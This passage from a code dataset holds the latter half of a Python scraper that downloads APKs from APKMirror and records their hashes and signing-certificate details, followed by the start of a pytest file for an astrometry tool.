is not None:\n auth = HTTPBasicAuth(resource.usr, resource.token)\n\n job = self.local_data.job\n data = None\n\n # Streamed downloading of the APK to the file\n res = None\n if job.type == DownloadJob.TYPE_APK:\n data = collections.OrderedDict()\n\n res = requests.get(job.url, stream=True, timeout=15)\n nurl = res.url\n\n fname = utils.slugify(nurl[ nurl.rfind('/') : ], repl=True)\n # fname = utils.safe_filename(re.findall(\"filename=(.+)\", res.headers['content-disposition']))\n\n if fname is None or len(fname) == 0:\n fname = os.tempnam(self.apk_dir, 'apktmp')\n else:\n fname = os.path.join(self.apk_dir, fname)\n\n sha1 = hashlib.sha1()\n sha256 = hashlib.sha256()\n md5 = hashlib.md5()\n with open(fname, 'wb') as f:\n for chunk in res.iter_content(chunk_size=4096):\n if not self.can_run():\n raise Exception('Terminated')\n if chunk:\n f.write(chunk)\n sha1.update(chunk)\n sha256.update(chunk)\n md5.update(chunk)\n f.flush()\n\n size = os.path.getsize(fname)\n if size < 500:\n raise SkipException('File size too small: %s' % size)\n\n data['download_url'] = job.url\n data['fname'] = fname\n data['size'] = size\n data['sha1'] = sha1.hexdigest()\n data['sha256'] = sha256.hexdigest()\n data['md5'] = md5.hexdigest()\n\n else:\n res = requests.get(job.url, timeout=10, auth=auth)\n\n headers = res.headers\n resource.reset_time = float(headers.get('X-RateLimit-Reset', 0))\n resource.remaining = int(headers.get('X-RateLimit-Remaining', 1000))\n resource.last_used = time.time()\n resource.used_cnt += 1\n\n if res.status_code == 403 and resource.remaining < 10:\n resource.fail_cnt += 1\n raise RateLimitHit\n\n if res.status_code == 404:\n resource.fail_cnt += 1\n logger.warning('URL not found: %s' % job.url)\n return None, None, None\n\n if res.status_code // 100 != 2:\n resource.fail_cnt += 1\n res.raise_for_status()\n\n if job.type != DownloadJob.TYPE_APK:\n data = res.content\n if data is None:\n resource.fail_cnt += 1\n raise Exception('Empty response')\n\n return data, headers, res\n\n def resource_allocate(self, blocking=True, timeout=1.0):\n \"\"\"\n Takes resource from the pool.\n If the resource has low remaining credit, thread is suspended to re-charge.\n :return: resource or None if not available in the time\n \"\"\"\n try:\n resource = self.resources_queue.get(True, timeout=1.0)\n if resource.remaining is not None and resource.remaining <= self.threads + 2:\n sleep_sec = resource.reset_time - time.time()\n sleep_sec += 120 # extra 2 minutes to avoid problems with resources\n\n logger.info('Rate limit exceeded on resource %s, remaining: %d, sleeping till: %d, it is %d seconds, '\n '%d minutes'\n % (resource.usr, resource.remaining, resource.reset_time, sleep_sec, sleep_sec / 60.0))\n self.sleep_interruptible(time.time() + sleep_sec)\n logger.info('Resource sleep finished %s' % resource.usr)\n\n # Reset estimations, needs to be refreshed\n resource.remaining = None\n resource.reset_time = None\n\n return resource\n\n except Queue.Empty:\n return None\n\n def resource_return(self, res):\n \"\"\"\n Returns resource to the pool\n :param res:\n :return:\n \"\"\"\n self.resources_queue.put(res)\n\n def sleep_interruptible(self, until_time):\n \"\"\"\n Interruptible sleep - sleep until given time.\n :param until_time:\n :return:\n \"\"\"\n while time.time() <= until_time:\n time.sleep(1.0)\n if self.terminate or self.stop_event.is_set():\n return\n\n def interruptible_sleep_delta(self, sleep_time):\n \"\"\"\n Sleeps the current thread for given amount of seconds, stop event terminates the sleep - to exit the thread.\n :param sleep_time:\n :return:\n \"\"\"\n if sleep_time is None:\n return\n\n sleep_time = float(sleep_time)\n\n if sleep_time == 0:\n return\n\n sleep_start = time.time()\n while not self.stop_event.is_set() and not self.terminate:\n time.sleep(0.1)\n if time.time() - sleep_start >= sleep_time:\n return\n\n #\n # Parser and processing logic\n #\n\n def kickoff_links(self):\n \"\"\"\n Kick off the scrapping by adding initial links to the queue\n :return:\n \"\"\"\n job = DownloadJob(url=self.PAGE_URL % self.since_id, jtype=DownloadJob.TYPE_PAGE)\n self.link_queue.put(job)\n logger.info('Kickoff link added: %s' % job.url)\n\n def link(self, x):\n \"\"\"\n Creates an absolute link\n :param x:\n :return:\n \"\"\"\n x = str(x)\n if x.startswith('http'):\n return x\n if not x.startswith('/'):\n x = '/%s' %x\n return 'https://www.apkmirror.com%s' % x\n\n def download_link(self, x):\n \"\"\"\n Generates download link\n :param x:\n :return:\n \"\"\"\n return 'https://www.apkmirror.com/wp-content/themes/APKMirror/download.php?id=%d' % x\n\n def get_info_details(self, info_slide):\n \"\"\"\n version, uploaded, size, downloads\n :param info_slide:\n :return:\n \"\"\"\n version, uploaded, size, downloads = None, None, None, None\n\n try:\n version = utils.first(info_slide[0][1].xpath('text()'))\n except Exception as e:\n self.trace_logger.log(e)\n\n try:\n uploaded = utils.try_parse_timestamp(info_slide[1][1][0].attrib['data-utcdate'])\n except Exception as e:\n self.trace_logger.log(e)\n\n try:\n size = utils.first(info_slide[2][1].xpath('text()'))\n a, b = [x.strip() for x in re.sub(r'\\s+', ' ', size).split(' ')]\n if b.lower() == 'mb':\n size = float(a) * 1024 * 1024\n elif b.lower() == 'kb':\n size = float(a) * 1024\n elif b.lower() == 'gb':\n size = float(a) * 1024 * 1024 * 1024\n else:\n size = None\n except Exception as e:\n self.trace_logger.log(e)\n\n try:\n downloads = int(re.sub(r'[^\\d]', '', utils.first(info_slide[3][1].xpath('text()'))))\n except Exception as e:\n self.trace_logger.log(e)\n\n return version, uploaded, size, downloads\n\n def get_app_name(self, title, version):\n \"\"\"\n Pure app name\n :param title:\n :param version:\n :return:\n \"\"\"\n idx = title.find(version)\n if idx > 0:\n return utils.strip(title[0:idx])\n\n # fallback solution\n match = re.search(r'[0-9]+\\b', title)\n if not match:\n return title\n start = match.start(0)\n if not start or start < 0:\n return title\n\n return utils.strip(title[0:start])\n\n def get_app_version_type(self, title, version):\n \"\"\"\n Beta / alpha / test\n :param title:\n :param version:\n :return:\n \"\"\"\n title = utils.lower(title)\n if re.search(r'\\bbeta\\b.*$', title):\n return 'beta'\n if re.search(r'\\balpha\\b.*$', title):\n return 'alpha'\n if re.search(r'\\balfa\\b.*$', title):\n return 'alpha'\n if re.search(r'\\btest\\b.*$', title):\n return 'alpha'\n if re.search(r'\\brc\\b.*$', title):\n return 'rc'\n if re.search(r'\\bfree\\b.*$', title):\n return 'free'\n if re.search(r'\\bpro\\b.*$', title):\n return 'pro'\n return None\n\n def load_app(self, id_=None, title=None, package=None, processing_check=False, uploaded=None,\n app_ver_type=None, pid=None, s=None):\n \"\"\"\n Loads app by name\n :param id_:\n :param title:\n :param package:\n :param processing_check:\n :param uploaded:\n :param s:\n :return:\n \"\"\"\n if s is None:\n s = self.local_data.s\n\n q = s.query(AndroidApkMirrorApp)\n\n if id_ is not None:\n q = q.filter(AndroidApkMirrorApp.id == id_)\n\n if title is not None:\n q = q.filter(AndroidApkMirrorApp.app_name == title)\n\n if package is not None:\n q = q.filter(AndroidApkMirrorApp.package_name == package)\n\n if app_ver_type is not None:\n q = q.filter(AndroidApkMirrorApp.version_type == app_ver_type)\n\n if processing_check:\n ct = datetime.datetime.utcnow() - datetime.timedelta(minutes=20)\n process_filter = salch.or_(\n AndroidApkMirrorApp.is_downloaded,\n AndroidApkMirrorApp.is_processed,\n AndroidApkMirrorApp.processing_started_at == None,\n AndroidApkMirrorApp.processing_started_at >= ct)\n\n if pid is not None:\n process_filter = salch.and_(AndroidApkMirrorApp.processing_pid == pid, process_filter)\n\n if uploaded:\n process_filter = salch.or_(AndroidApkMirrorApp.uploaded_at >= uploaded, process_filter)\n\n q = q.filter(process_filter)\n\n elif uploaded is not None:\n q = q.filter(AndroidApkMirrorApp.uploaded_at >= uploaded)\n\n return q.first()\n\n #\n # Processing page\n #\n\n def process_page_data(self, job, data, headers, raw_response):\n \"\"\"\n Process app page listing\n :param job:\n :type job: DownloadJob\n :param data:\n :param headers:\n :param raw_response:\n :return:\n \"\"\"\n cur_time = time.time()\n tree = html.fromstring(data)\n lists = tree.xpath('//div[@id=\"primary\"]//div[@class=\"listWidget\"]')\n for list_widget in lists:\n logger.debug('List widget: %s' % list_widget)\n eapp = list_widget.xpath('div[@class=\"appRow\"]')\n\n if len(eapp) == 0:\n logger.warning('No results')\n return\n\n for app_idx, eapp1 in enumerate(eapp):\n try:\n tbl_cel = eapp1[0][1][0]\n ahref = tbl_cel[0][0]\n\n link = ahref.attrib['href']\n title = utils.utf8ize(utils.first(ahref.xpath('text()')))\n\n info_slide = eapp1.getnext()\n version, uploaded, size, downloads = self.get_info_details(info_slide)\n app_name = self.get_app_name(title, version)\n app_ver_type = self.get_app_version_type(title, version)\n has_variants = len(tbl_cel.xpath('.//div[@class=\"appRowVariantTag\"]')) > 0\n\n logger.debug('Title / link [%s] [%s] ' % (title, link))\n logger.debug('v: %s, upd: %s, size: %s, down: %s, appName: %s, verInfo: %s, variants: %s'\n % (version, uploaded, size, downloads, app_name, app_ver_type, has_variants))\n\n pid = os.getpid()\n app = self.load_app(title=app_name, processing_check=True, uploaded=uploaded,\n app_ver_type=app_ver_type, pid=pid)\n\n if app is not None:\n logger.info('Already has %s' % app_name)\n continue\n\n if self.args.test and app_idx > 1: # and 'firefox' not in app_name.lower():\n continue\n\n new_link = self.link(link)\n abslen = len('https://www.apkmirror.com/apk/')\n company = new_link[abslen:new_link.find('/', abslen)]\n\n app_data = collections.OrderedDict()\n app_data['title'] = app_name\n app_data['pid'] = pid\n app_data['version'] = version\n app_data['uploaded'] = utils.unix_time(uploaded)\n app_data['size'] = size\n app_data['downloads'] = downloads\n app_data['has_variants'] = has_variants\n app_data['app_ver_type'] = app_ver_type\n app_data['detail_url'] = new_link\n app_data['company'] = company\n\n s = self.local_data.s\n mapp = AndroidApkMirrorApp()\n mapp.app_name = app_name\n mapp.version_code = version\n mapp.version_type = app_ver_type\n mapp.file_size = size\n mapp.downloads = downloads\n mapp.company = company\n mapp.url_detail = new_link\n mapp.uploaded_at = uploaded\n mapp.processing_pid = pid\n mapp.processing_started_at = salch.func.now()\n mapp.date_discovered = salch.func.now()\n mapp.date_last_check = salch.func.now()\n\n s.add(mapp)\n s.flush()\n s.commit()\n app_data['model_id'] = mapp.id\n\n s.expunge_all() # removes objects from session()\n\n app = AndroidApp(data=app_data)\n\n new_job = DownloadJob(url=new_link, jtype=DownloadJob.TYPE_DETAIL, app=app,\n priority=1000, time_added=cur_time)\n\n self.link_queue.put(new_job)\n\n except Exception as e:\n self.trace_logger.log(e)\n\n if self.since_id < 900:\n self.since_id += 1\n job = DownloadJob(url=self.PAGE_URL % self.since_id, jtype=DownloadJob.TYPE_PAGE, priority=10)\n self.link_queue.put(job)\n\n def process_detail_data(self, job, data, headers, raw_response):\n \"\"\"\n Process App detail page - if variant page, extract new variant link, otherwise proceed to download page\n :param job:\n :type job: DownloadJob\n :param data:\n :param headers:\n :param raw_response:\n :return:\n \"\"\"\n # if variant page, pick one variant and download, if not, go to process_download_data\n cur_time = time.time()\n\n logger.debug('Detail page downloaded')\n tree = html.fromstring(data)\n\n variants_btn = len(tree.xpath('//a[contains(@class, \"variantsButton\")]')) > 0\n logger.info('variants page: %s' % variants_btn)\n\n if not variants_btn:\n return self.process_download_data(job, data, headers, raw_response)\n\n # variants:\n vtable = utils.first(tree.xpath('//div[contains(@class, \"variants-table\")]'))\n if vtable is None:\n logger.debug('Variant parse error')\n raise SkipException('Variant parse error')\n\n chosen_variant = None\n for idx, row in enumerate(vtable):\n if idx == 0:\n continue\n try:\n is_new = len(row.xpath('.//svg[contains(@class, \"icon-new\")]')) > 0\n ahref = row[0][0]\n\n link = ahref.attrib['href']\n title = utils.utf8ize(utils.first_non_empty([str(x).strip() for x in ahref.xpath('text()')]))\n chosen_variant = link, title\n\n logger.info('.. variant %s (%s) : %s' % (title, is_new, link))\n if is_new:\n break\n\n except Exception as e:\n self.trace_logger.log(e)\n\n if chosen_variant is None:\n logger.debug('No variant to pick')\n return\n\n new_link = self.link(chosen_variant[0])\n\n app = job.app\n app.data['variant_link'] = new_link\n app.data['variant_title'] = chosen_variant[1]\n\n new_job = DownloadJob(url=new_link, jtype=DownloadJob.TYPE_DOWNLOAD, app=app,\n priority=4000, time_added=cur_time)\n\n self.link_queue.put(new_job)\n\n def process_download_data(self, job, data, headers, raw_response):\n \"\"\"\n Process App download page - extract package name, app infos, download link\n :param job:\n :type job: DownloadJob\n :param data:\n :param headers:\n :param raw_response:\n :return:\n \"\"\"\n # update with package name\n # update with version_number - 6.31.0 (631043)\n # generate directly download link: a, id=pbDropdown, data-postid contains ID\n cur_time = time.time()\n\n try:\n logger.debug('Download page downloaded')\n tree = html.fromstring(data)\n\n ahref_playstore = utils.first_non_empty(tree.xpath('//div[@class=\"tab-buttons\"]//a[contains(@title, \"Play Store\")]'))\n playstore_link = ahref_playstore.attrib['href']\n package_name = playstore_link[playstore_link.find('?id=')+4:]\n\n ahref_push = utils.first_non_empty(tree.xpath('//div[@class=\"tab-buttons\"]//a[@id=\"pbDropdown\"]'))\n item_id = int(ahref_push.attrib['data-postid'])\n\n new_link = self.download_link(item_id)\n\n app = job.app\n app.data['pacakge_name'] = package_name\n app.data['item_id'] = item_id\n app.data['url_download'] = new_link\n\n mapp = self.load_app(id_=app.data['model_id'], processing_check=False)\n mapp.package_name = package_name\n mapp.download_started_at = salch.func.now()\n\n self.local_data.s.merge(mapp)\n self.local_data.s.commit()\n self.local_data.s.expunge_all() # removes objects from session()\n\n new_job = DownloadJob(url=new_link, jtype=DownloadJob.TYPE_APK, app=app,\n priority=5000, time_added=cur_time)\n\n self.link_queue.put(new_job)\n\n except Exception as e:\n self.trace_logger.log(e)\n raise SkipException('Download parse error')\n\n def process_apk_data(self, job, data, headers, raw_response):\n \"\"\"\n Process downloaded APK file\n :param job:\n :type job: DownloadJob\n :param data:\n :param headers:\n :param raw_response:\n :return:\n \"\"\"\n # process download APK file, open APK, read cert, fprint, store all thos info to DB\n logger.info('APK downloaded, len: %s' % data)\n\n app = job.app\n app_data = app.data\n app_data['apk'] = data\n\n self.process_apk(data['fname'], data)\n logger.info(json.dumps(app.data, indent=2, cls=utils.AutoJSONEncoder))\n\n mapp = self.load_app(id_=app.data['model_id'], processing_check=False)\n mapp.is_downloaded = 1\n mapp.version_variant = utils.defvalkey(app_data, 'variant_title')\n mapp.downloaded_at = salch.func.now()\n self.local_data.s.merge(mapp)\n self.local_data.s.commit()\n\n apkdat = app_data['apk']\n\n mapk = AndroidApkMirrorApk()\n mapk.app = mapp\n mapk.app_id = mapp.id\n mapk.url_download = utils.utf8ize(app_data['url_download'])\n mapk.fpath = utils.defvalkey(apkdat, 'fname')\n mapk.post_id = app_data['item_id']\n mapk.date_discovered = salch.func.now()\n\n mapk.file_size = apkdat['size']\n mapk.md5 = apkdat['md5']\n mapk.sha1 = apkdat['sha1']\n mapk.sha256 = apkdat['sha256']\n\n mapk.is_xapk = utils.defvalkey(apkdat, 'is_xapk')\n mapk.sub_apk_size = utils.defvalkey(apkdat, 'sub_apk_size')\n mapk.apk_package = mapp.package_name\n mapk.apk_version_code = utils.defvalkey(apkdat, 'apk_version_code')\n mapk.apk_version_name = utils.defvalkey(apkdat, 'apk_version_name')\n mapk.apk_min_sdk = utils.defvalkey(apkdat, 'apk_min_sdk')\n mapk.apk_tgt_sdk = utils.defvalkey(apkdat, 'apk_tgt_sdk')\n mapk.apk_max_sdk = utils.defvalkey(apkdat, 'apk_max_sdk')\n\n mapk.sign_date = utils.defvalkey(apkdat, 'sign_date_dt')\n mapk.sign_info_cnt = utils.defvalkey(apkdat, 'sign_info_cnt')\n mapk.sign_serial = utils.defvalkey(apkdat, 'sign_serial')\n mapk.sign_issuer = utils.utf8ize(utils.defvalkey(apkdat, 'sign_issuer'))\n mapk.sign_alg = utils.defvalkey(apkdat, 'sign_alg')\n mapk.sign_raw = utils.defvalkey(apkdat, 'sign_raw')\n\n mapk.cert_alg = utils.defvalkey(apkdat, 'cert_alg')\n mapk.cert_fprint = utils.defvalkey(apkdat, 'cert_fprint')\n mapk.cert_not_before = utils.defvalkey(apkdat, 'cert_not_before_dt')\n mapk.cert_not_after = utils.defvalkey(apkdat, 'cert_not_after_dt')\n mapk.cert_dn = utils.utf8ize(utils.defvalkey(apkdat, 'cert_dn'))\n mapk.cert_issuer_dn = utils.utf8ize(utils.defvalkey(apkdat, 'cert_issuer_dn'))\n mapk.cert_raw = utils.defvalkey(apkdat, 'der')\n\n mapk.pub_type = utils.defvalkey(apkdat, 'pubkey_type')\n mapk.pub_modulus = utils.defvalkey(apkdat, 'modulus_hex')\n mapk.pub_exponent = utils.defvalkey(apkdat, 'cert_e_hex')\n mapk.pub_modulus_size = utils.defvalkey(apkdat, 'modulus_size')\n mapk.pub_interesting = utils.defvalkey(apkdat, 'smells_nice')\n self.local_data.s.add(mapk)\n self.local_data.s.commit()\n\n mapp.is_processed = 1\n mapp.processed_at = salch.func.now()\n self.local_data.s.merge(mapp)\n self.local_data.s.commit()\n self.local_data.expunge_all() # removes objects from session()\n\n try:\n if self.args.trash:\n os.remove(data['fname'])\n elif self.args.apk_done_dir != self.apk_dir:\n shutil.move(data['fname'], self.args.apk_done_dir)\n\n except Exception as e:\n self.trace_logger.log(e)\n\n def process_apk(self, file_path, apk_rec):\n \"\"\"\n Processing APK - extracting useful information, certificate.\n :param file_path:\n :param apk_rec:\n :return:\n \"\"\"\n # Downloaded - now parse\n try:\n logger.debug('Parsing APK')\n\n # Optimized parsing - parse only manifest and certificate, no file type inference.\n # In case of xapks (nested apks), use temp dir to extract it.\n apkf = APK(file_path, process_now=False, process_file_types=False, as_file_name=True, temp_dir=self.apk_dir)\n\n # Save some time - do not re-compute MD5 inside apk parsing lib\n if 'md5' in apk_rec:\n apkf.file_md5 = apk_rec['md5']\n\n apkf.process()\n apk_rec['is_xapk'] = apkf.is_xapk\n apk_rec['sub_apk_size'] = apkf.sub_apk_size\n\n # Android related info (versions, SDKs)\n utils.extend_with_android_data(apk_rec, apkf, logger)\n pem = apkf.cert_pem\n\n x509 = utils.load_x509(pem)\n apk_rec['cert_alg'] = x509.signature_hash_algorithm.name\n\n pub = x509.public_key()\n if isinstance(pub, RSAPublicKey):\n apk_rec['pubkey_type'] = 'RSA'\n mod = pub.public_numbers().n\n\n apk_rec['modulus'] = mod\n apk_rec['modulus_hex'] = '%x' % mod\n apk_rec['modulus_size'] = len(bin(mod)) - 2\n apk_rec['cert_e'] = x509.public_key().public_numbers().e\n apk_rec['cert_e_hex'] = '%x' % apk_rec['cert_e']\n apk_rec['smells_nice'] = self.big_nose.smells_good(mod)\n\n elif isinstance(pub, DSAPublicKey):\n apk_rec['pubkey_type'] = 'DSA'\n\n elif isinstance(pub, EllipticCurvePublicKey):\n apk_rec['pubkey_type'] = 'ECC'\n\n else:\n apk_rec['pubkey_type'] = ''\n\n apk_rec['sign_raw'] = base64.b64encode(apkf.pkcs7_der)\n\n utils.extend_with_cert_data(apk_rec, x509, logger)\n utils.extend_with_pkcs7_data(apk_rec, apkf.pkcs7_der, logger)\n apk_rec['pem'] = pem\n apk_rec['der'] = base64.b64encode(apkf.cert_der)\n\n except Exception as e:\n self.trace_logger.log(e)\n logger.error('APK parsing failed: %s' % e)\n\n def flush_state(self):\n \"\"\"\n Flushes state/config to the state file\n :return:\n \"\"\"\n self.state['since_id'] = self.since_id\n self.state['rate_limit_remaining'] = self.rate_limit_remaining\n self.state['rate_limit_reset'] = self.rate_limit_reset\n utils.flush_json(self.state, self.state_file_path)\n\n #\n # Auditing - errors, problems for further analysis\n #\n\n def audit_log(self, evt=None, link=None, jtype=None, job=None):\n \"\"\"\n Appends audit log to the buffer. Lock protected.\n :param evt:\n :param link:\n :return:\n \"\"\"\n log = collections.OrderedDict()\n log['time'] = time.time()\n log['evt'] = evt\n log['jtype'] = jtype\n log['link'] = link\n\n if job is not None and isinstance(job, DownloadJob):\n log['job'] = job.to_json()\n\n with self.audit_lock:\n self.audit_records_buffered.append(log)\n\n def flush_audit(self):\n \"\"\"\n Flushes audit logs to the JSON append only file.\n Routine protected by the lock (no new audit record can be inserted while holding the lock)\n :return:\n \"\"\"\n if self.audit_file is None:\n self.audit_records_buffered = []\n return\n\n self.audit_lock.acquire()\n try:\n if len(self.audit_records_buffered) == 0:\n return\n with open(self.audit_file, 'a') as fa:\n for x in self.audit_records_buffered:\n fa.write(json.dumps(x, cls=utils.AutoJSONEncoder) + \"\\n\")\n self.audit_records_buffered = []\n except Exception as e:\n logger.error('Exception in audit log dump %s' % e)\n finally:\n self.audit_lock.release()\n\n #\n # State save / resume\n #\n\n def state_main(self):\n \"\"\"\n State thread - periodical dump of the queues.\n :return:\n \"\"\"\n logger.info('State thread started %s %s %s' % (os.getpid(), os.getppid(), threading.current_thread()))\n try:\n while not self.stop_event.is_set() and not self.terminate:\n # Dump stats each x seconds\n # Sleep is here because of dumping the state for the last time just before program quits.\n self.interruptible_sleep_delta(2)\n self.state_save()\n\n # Check memory conditions\n self.state_ram_check()\n\n except Exception as e:\n self.trace_logger.log(e)\n logger.error('Exception in state: %s' % e)\n\n finally:\n pass\n\n logger.info('State loop terminated')\n\n def state_ram_check(self):\n \"\"\"\n Checks memory terminating conditions\n :return:\n \"\"\"\n\n if self.max_mem is None:\n return\n\n cur_ram = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n if cur_ram <= self.max_mem:\n return\n\n logger.warning('Maximum memory threshold reached: %s kB = %s MB, threshold = %s kB'\n % (cur_ram, cur_ram / 1024.0, self.max_mem))\n self.trigger_stop()\n\n def link_type_char(self, x):\n \"\"\"\n Link repr\n :param x:\n :return:\n \"\"\"\n if x == DownloadJob.TYPE_PAGE:\n return 'P'\n elif x == DownloadJob.TYPE_DETAIL:\n return '.'\n elif x == DownloadJob.TYPE_DOWNLOAD:\n return '-'\n elif x == DownloadJob.TYPE_APK:\n return '*'\n else:\n return ' '\n\n def state_gen(self):\n \"\"\"\n Dumps state\n :return:\n \"\"\"\n try:\n js_q = collections.OrderedDict()\n js_q['gen'] = time.time()\n js_q['link_size'] = self.link_queue.qsize()\n js_q['since_id'] = self.since_id\n js_q['memory'] = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n\n # Dequeues\n self.new_apps_events.maintain()\n self.new_apks_events.maintain()\n\n apps_in_5min = self.new_apps_events.under_limit(5 * 60)\n apks_in_5min = self.new_apks_events.under_limit(5 * 60)\n\n js_q['app_dequeue_size'] = self.new_apps_events.len()\n js_q['apk_dequeue_size'] = self.new_apks_events.len()\n js_q['apps_5min'] = apps_in_5min\n js_q['apks_5min'] = apks_in_5min\n js_q['apps_1min'] = apps_in_5min / 5.0\n js_q['apks_1min'] = apks_in_5min / 5.0\n\n # link queue structure\n qdata = list(self.link_queue.queue)\n qdata.sort(cmp=DownloadJob.cmp)\n js_q['link_structure'] = ''.join([self.link_type_char(x.type) for x in qdata])\n\n # Stats.\n js_q['resource_stats'] = [x.to_json() for x in list(self.resources_list)]\n\n # Finally - the queue\n js_q['link_queue'] = [x.to_json() for x in qdata]\n return js_q\n\n except Exception as e:\n self.trace_logger.log(e)\n logger.error('Exception in state: %s', e)\n\n def state_save(self):\n \"\"\"\n saves the state\n :return:\n \"\"\"\n try:\n js_q = self.state_gen()\n utils.flush_json(js_q, self.state_file_path)\n\n except Exception as e:\n self.trace_logger.log(e)\n logger.error('Exception in state: %s', e)\n\n def state_resume(self):\n \"\"\"\n Attempts to resume the queues from the monitoring files\n :return:\n \"\"\"\n try:\n if self.state is None:\n return\n\n if 'since_id' in self.state:\n self.since_id = self.state['since_id']\n\n if 'link_queue' in self.state:\n for rec in self.state['link_queue']:\n job = DownloadJob.from_json(rec)\n self.link_queue.put(job)\n logger.info('Link queue resumed, entries: %d' % len(self.state['link_queue']))\n\n except Exception as e:\n self.trace_logger.log(e)\n logger.warning('Exception in resuming the state %s' % e)\n logger.error('State resume failed, exiting')\n sys.exit(1)\n\n\ndef main():\n args_src = sys.argv\n parser = argparse.ArgumentParser(description='Downloads APKs')\n parser.add_argument('-c', dest='config', default=None,\n help='JSON config file')\n parser.add_argument('-s', dest='status', default=None,\n help='JSON status file')\n parser.add_argument('-t', dest='threads', default=1, type=int,\n help='Number of download threads to use')\n parser.add_argument('--res', dest='resnum', default=1, type=int,\n help='Number of active slots')\n parser.add_argument('--max-mem', dest='max_mem', default=None, type=int,\n help='Maximal memory threshold in kB when program terminates itself')\n parser.add_argument('--merge', dest='merge', default=False, action='store_const', const=True,\n help='Merge DB operation - merge instead of add. slower, updates if exists')\n parser.add_argument('--test', dest='test', default=False, action='store_const', const=True,\n help='Just testing')\n parser.add_argument('--apk-dir', dest='apk_dir', default='.',\n help='Dir to cache APKs')\n parser.add_argument('--apk-done-dir', dest='apk_done_dir', default='.',\n help='Dir to move APKs after processing finished')\n parser.add_argument('--trash', dest='trash', default=False, action='store_const', const=True,\n help='Delete already processed APKs')\n\n args = parser.parse_args(args=args_src[1:])\n config_file = args.config\n\n audit_file = os.path.join(os.getcwd(), 'android-audit.json')\n state_file = args.status if args.status is not None else os.path.join(os.getcwd(), 'android-state.json')\n if os.path.exists(state_file):\n utils.file_backup(state_file, backup_dir='.')\n\n if os.path.exists('.android-quit'):\n os.remove('.android-quit')\n\n sys.argv = [args_src[0]]\n logger.info('Android loader started, args: %s' % args)\n l = AndroidApkLoader(state_file=state_file, config_file=config_file, audit_file=audit_file, threads=args.threads,\n max_mem=args.max_mem, merge=args.merge, num_res=args.resnum, cmd_args=args)\n l.work()\n sys.argv = args_src\n\n\n# Launcher\nif __name__ == \"__main__\":\n main()\n","sub_path":"codesign/scrapper_android_own.py","file_name":"scrapper_android_own.py","file_ext":"py","file_size_in_byte":50759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"207285516","text":"############################################################\n# -*- coding: utf-8 -*-\n#\n# # # # # # #\n# ## ## # ## # #\n# # # # # # # # # # #\n# # ## # ## ## ######\n# # # # # # #\n#\n# Python-based Tool for interaction with the 10micron mounts\n# GUI with PyQT5 for python\n# Python v3.7.5\n#\n# Michael Würtenberger\n# (c) 2019\n#\n# Licence APL2.0\n#\n###########################################################\n# standard libraries\nfrom unittest import mock\nimport pytest\nimport os\nimport platform\nimport numpy as np\nimport subprocess\n# external packages\nfrom astropy.io import fits\n# local import\nfrom mw4.astrometry import astrometry\nfrom mw4.test.test_units.setupQt import setupQt\n\n\n@pytest.fixture(autouse=True, scope='module')\ndef module_setup_teardown():\n global app, spy, mwGlob, test\n app, spy, mwGlob, test = setupQt()\n\n\ndef test_init_1():\n home = os.environ.get('HOME')\n app.astrometry.solverEnviron = {\n 'KStars': {\n 'programPath': '/Applications/Astrometry.app/Contents/MacOS',\n 'indexPath': home + '/Library/Application Support/Astrometry',\n 'solver': app.astrometry.solverNET,\n }\n }\n assert os.path.isfile(app.mwGlob['tempDir'] + '/astrometry.cfg')\n\n\ndef test_checkAvailability_1():\n app.astrometry.solverEnviron = {\n 'CloudMakers': {\n 'programPath': '',\n 'indexPath': '',\n 'solver': app.astrometry.solverNET,\n }\n }\n val = app.astrometry.checkAvailability()\n assert val == {}\n\n\ndef test_checkAvailability_3():\n app.astrometry.solverEnviron = {\n 'KStars': {\n 'programPath': '/Applications/KStars.app/Contents/MacOS/astrometry/bin',\n 'indexPath': '/usr/share/astrometry',\n 'solver': app.astrometry.solverNET,\n }\n }\n val = app.astrometry.checkAvailability()\n assert val == {}\n\n\ndef test_checkAvailability_4():\n app.astrometry.solverEnviron = {\n 'KStars': {\n 'programPath': '/Applications/Astrometry.app/Contents/MacOS',\n 'indexPath': '/Users/mw/Library/Application Support/Astrometry',\n 'solver': app.astrometry.solverNET,\n }\n }\n val = app.astrometry.checkAvailability()\n assert 'KStars' in val\n\n\ndef test_readFitsData_1():\n file = mwGlob['imageDir'] + '/m51.fits'\n ra, dec, sc, ra1, dec1 = app.astrometry.readFitsData(file)\n assert ra\n assert dec\n assert sc\n assert ra1\n assert dec1\n\n\ndef test_calcAngleScaleFromWCS_1():\n hdu = fits.HDUList()\n hdu.append(fits.PrimaryHDU())\n header = hdu[0].header\n scaleX = 2\n for angleX in range(-180, 180, 1):\n phi = np.radians(angleX)\n CD11 = scaleX * np.cos(phi)\n CD12 = scaleX * np.sin(phi)\n header.set('CD1_1', CD11)\n header.set('CD1_2', CD12)\n angle, scale, flip = app.astrometry.calcAngleScaleFromWCS(wcsHeader=header)\n assert np.round(scale, 0) == scaleX * 3600\n assert np.round(angle, 3) == np.round(angleX, 3)\n\n\ndef test_calcAngleScaleFromWCS_2():\n hdu = fits.HDUList()\n hdu.append(fits.PrimaryHDU())\n header = hdu[0].header\n angle, scale, flip = app.astrometry.calcAngleScaleFromWCS(wcsHeader=header)\n assert angle == 0\n assert scale == 0\n\n\ndef test_getSolutionFromWCS_1():\n hdu = fits.HDUList()\n hdu.append(fits.PrimaryHDU())\n header = hdu[0].header\n header.set('CRVAL1', 180.0)\n header.set('CRVAL2', 60.0)\n header.set('RA', 180.0)\n header.set('DEC', 60.0)\n solve, header = app.astrometry.getSolutionFromWCS(fitsHeader=header,\n wcsHeader=header)\n assert solve['raJ2000S'].hours == 12\n assert solve['decJ2000S'].degrees == 60\n assert solve['angleS'] == 0\n assert solve['scaleS'] == 0\n assert not solve['flippedS']\n\n assert header['RA'] == header['CRVAL1']\n assert header['DEC'] == header['CRVAL2']\n\n\ndef test_getSolutionFromWCS_2():\n hdu = fits.HDUList()\n hdu.append(fits.PrimaryHDU())\n header = hdu[0].header\n header.set('CRVAL1', 180.0)\n header.set('CRVAL2', 60.0)\n header.set('RA', 180.0)\n header.set('DEC', 60.0)\n solve, header = app.astrometry.getSolutionFromWCS(fitsHeader=header,\n wcsHeader=header,\n updateFits=True)\n assert solve['raJ2000S'].hours == 12\n assert solve['decJ2000S'].degrees == 60\n assert solve['angleS'] == 0\n assert solve['scaleS'] == 0\n assert not solve['flippedS']\n\n assert 